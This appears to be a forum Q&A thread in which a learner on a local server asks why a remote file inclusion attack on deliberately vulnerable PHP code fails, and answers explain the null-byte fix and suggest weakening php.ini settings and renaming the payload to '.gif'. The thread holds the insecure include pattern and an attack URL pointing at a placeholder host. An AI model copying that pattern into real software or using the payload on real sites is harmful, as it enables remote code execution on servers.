3

I am watching a tutorial on YouTube about how to include remote files or local through a standard include command.

Here is the code:

<?php

if(isset($_GET["language"])) {
    $language = $_GET["language"];
    include($language."gif");
}

?>

I got this on a local webserver (WAMP) and I do the tutorial tells me to do.

localhost/inctest/index.php?language=http://www.example.com/badcode.php%00

Warning: include(): Failed opening 'http://www.example.com/badcode.php' for inclusion (include_path='.;C:\php\pear') in C:\wamp\www\inctest\index.php on line 5

my PHP.ini:

allow_url_include = On

I removed my own domain and renamed it to example.com.

What did I miss out on?

3

Null Byte Poisoning is pretty old vulnerability, which has been already fixed since 5.3.4 PHP-version. Release Announcement:

Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

If you are sure, that your PHP-version is correct, please try to inject some remote resource without NULL-byte character in path, to check, if allow_url_* are set correct in php.ini.

2

I believe you also need to include in the php.ini the directive of: allow_url_fopen to be set to 1

This allows remote URLs to be loaded using fopen, but considering you're not using fopen, I guess it's not really applicable, but worth a try none the less.

You could also try register_globals this variable controls whether arbitrary variables can be injected into a script via a URL parameter.

[Edit]

Turn off magic_quotes_gpc as that can prevent Null Byte Injection from happening.

0

As this is a remote file include vulnerability you do not need to rely on null byte injection, simply serve the malicious code with a .gif extension like this: http://www.example.com/badcode.php.gif

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.